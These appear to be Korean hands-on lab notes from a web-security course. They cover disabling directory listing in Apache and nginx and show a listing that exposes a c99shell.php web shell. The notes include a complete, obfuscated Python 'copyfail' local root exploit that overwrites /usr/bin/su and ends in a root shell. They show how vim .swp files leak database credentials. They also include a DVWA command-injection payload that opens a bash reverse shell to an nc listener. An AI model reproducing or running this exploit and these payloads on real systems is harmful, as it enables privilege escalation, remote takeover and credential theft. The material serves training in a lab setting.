디렉터리 리스팅 비활성화 하기
웹서버
. apache
- 무료 웹서버
- RHEL 계열: httpd
- Debian 계열: apache2
. nginx
- 상용, 무료 웹서버
1. mywebsite
http://192.168.100.10/data/
Index of /data
[ICO] Name Last modified Size Description
[PARENTDIR] Parent Directory -
[TXT] c99shell.php 2026-05-14 15:26 159K
[root@victim ~]# cd /etc/httpd/conf
[root@victim conf]# vi httpd.conf
디렉터리 인덱싱(리스팅)
. 디렉터리의 리스트를 보여주는 기능이다.
. tomcat에 기본적으로 활성화 되어있다.
. 디렉터리 리스팅 활성화
- Options Indexes 가 있다.
<Directory "디렉터리">
Options Indexes FollowSymLinks
...
</Directory>
. 디렉터리 리스팅 비활성화
- Options Indexes 가 없다.
<Directory "디렉터리">
Options FollowSymLinks
...
</Directory>
[root@victim ~]# cd /etc/httpd/conf
[root@victim conf]# vi httpd.conf
<Directory "/var/www/html">
#Options Indexes FollowSymLinks
#Options -Indexes +FollowSymLinks <= -Indexes: 비활성화 +FollowSymLinks: 활성화
Options FollowSymLinks <= 끄기
AllowOverride None
Require all granted
</Directory>
디렉터리 인덱싱 자체는 취약점이 아니다
하지만 조건에 따라 보여지지 않아야 하지만 보여질때는 취약점이 된다
nginx
파일과 디렉터리
. /usr/share/nginx/html
- 웹페이지를 제공하는 웹 루트디렉터리(DocumentRoot) 이다.
. nginx의 설정 디렉터리
- /etc/nginx
- 기본 설정 파일은 /etc/nginx/conf.d/default.conf 이다.
nginx 는 Docker로 설치하면 Directory 리스팅이 기본값이 꺼져있다.
[root@victim ~]# docker run -d --name nginx-web --restart=always -p 9000:80 --hostname nginx nginx
http://192.168.100.10:9000/
[root@target conf]# docker exec -it nginx-web bash
root@nginx:/# cat /etc/nginx/conf.d/default.conf
server {
listen 80;
listen [::]:80;
server_name localhost;
#access_log /var/log/nginx/host.access.log main;
location / {
root /usr/share/nginx/html; <= root 디렉토리
index index.html index.htm;
}
#error_page 404 /404.html;
# redirect server error pages to the static page /50x.html
#
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root /usr/share/nginx/html;
}
... ...
root@nginx:/usr/share/nginx/html# mkdir data
root@nginx:/usr/share/nginx/html# cp /bin/a* data/
root@nginx:/usr/share/nginx/html# ls data/
403 Forbidden <= 디렉터리 인덱싱 off
설정을 변경하기 위한 vim 설치
root@nginx:/usr/share/nginx/html# apt update
root@nginx:/usr/share/nginx/html# apt -y install vim
root@nginx:/usr/share/nginx/html# vi /etc/nginx/conf.d/default.conf
... ...
location / {
root /usr/share/nginx/html;
index index.html index.htm;
autoindex on;. <= 디렉터리 인덱싱 on
}
... ...
root@nginx:/# nginx -t <= 정상 작동하는지 확인
root@nginx:/# nginx -s reload <= 재시작
리눅스 copyfail 취약점
[root@docker ~]# dnf -y install epel-release
[root@docker ~]# dnf -y install python3.13
[root@docker ~]# useradd user1
[root@docker ~]# passwd user1
[user1@docker ~]$ vi copyfail.py
#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
try:u.recv(8+t)
except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")
[user1@docker ~]$ chmod 755 copyfail.py
[root@docker user1]# id
uid=0(root) gid=1001(user1) groups=1001(user1) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
DB 아이디/비밀번호 탈취
DB 덤프 파일을 웹사이트에 올려놓으면 공격자에 의해서 다운로드 받을 수 있다.
파일명이 있다는 것은 모르지만 게싱어택이나 부르투포스 어택으로 위협이 될 수 있다.
관리자가 vi 에디터를 사용해 소스코드를 수정하고 있을 때 vi는 .swap 파일을 생성한다.
공격자는 이 .swap파일을 링크를 통해 접근할 수 있다.
단 관리자가 vim 에디터를 실행하고 있는 상황에서만 가능하다.
정확한 파일명을 몰라도 게싱이나 무작위 대입공격등으로 .swap파일에 접근을 한다.
형식
.(소스 파일명).(소스형식).swap
http://192.168.100.10/mywebsite.sql
http://192.168.100.10/.index.html.swp
http://192.168.100.10/.login.html.swp
소스보기
<form name=login method=post action=loginok.php onSubmit="return loginCheck()">
http://192.168.100.10/.loginok.php.swp
소스보기
include "dbconnect.php";
http://192.168.100.10/.dbconnect.php.swp
$DBHOST, $DBUSER, $DBPASS, $DBNAME) or die("DBMS 접속 실패!!!");$TBNAME = (isset($id)) ? $id : "";//$TBNAME = (isset($_GET['id'])) ? $_GET['id'] : "";$DBNAME = "mywebsite";$DBPASS = "1234";$DBUSER = "root";$DBHOST = "localhost"; */ * 작성자: 리눅스마스터넷 * 프로그램 설명: DB 접속 정보를 저장한 파일 * 파일명: dbconnect.php/*
CopyFail 취약점 점검
[root@docker ~]# docker exec -it webboan-dvwa bash
root@webboan-dvwa:/# cd
root@webboan-dvwa:~# cp /etc/apt/sources.list .
root@webboan-dvwa:~# cat > /etc/apt/sources.list << 'EOF'
deb http://archive.debian.org/debian stretch main contrib non-free
deb http://archive.debian.org/debian-security stretch/updates main contrib non-free
EOF
apt-get -o Acquire::Check-Valid-Until=false \
--allow-unauthenticated \
install -y python3
root@webboan-dvwa:/# apt-get update
root@kali:~# nc -lvnp 443
[DVWA] : 127.0.0.1; bash -c 'bash -i >& /dev/tcp/192.168.100.3/443 0>&1'
root@kali:~# nc -lvp 443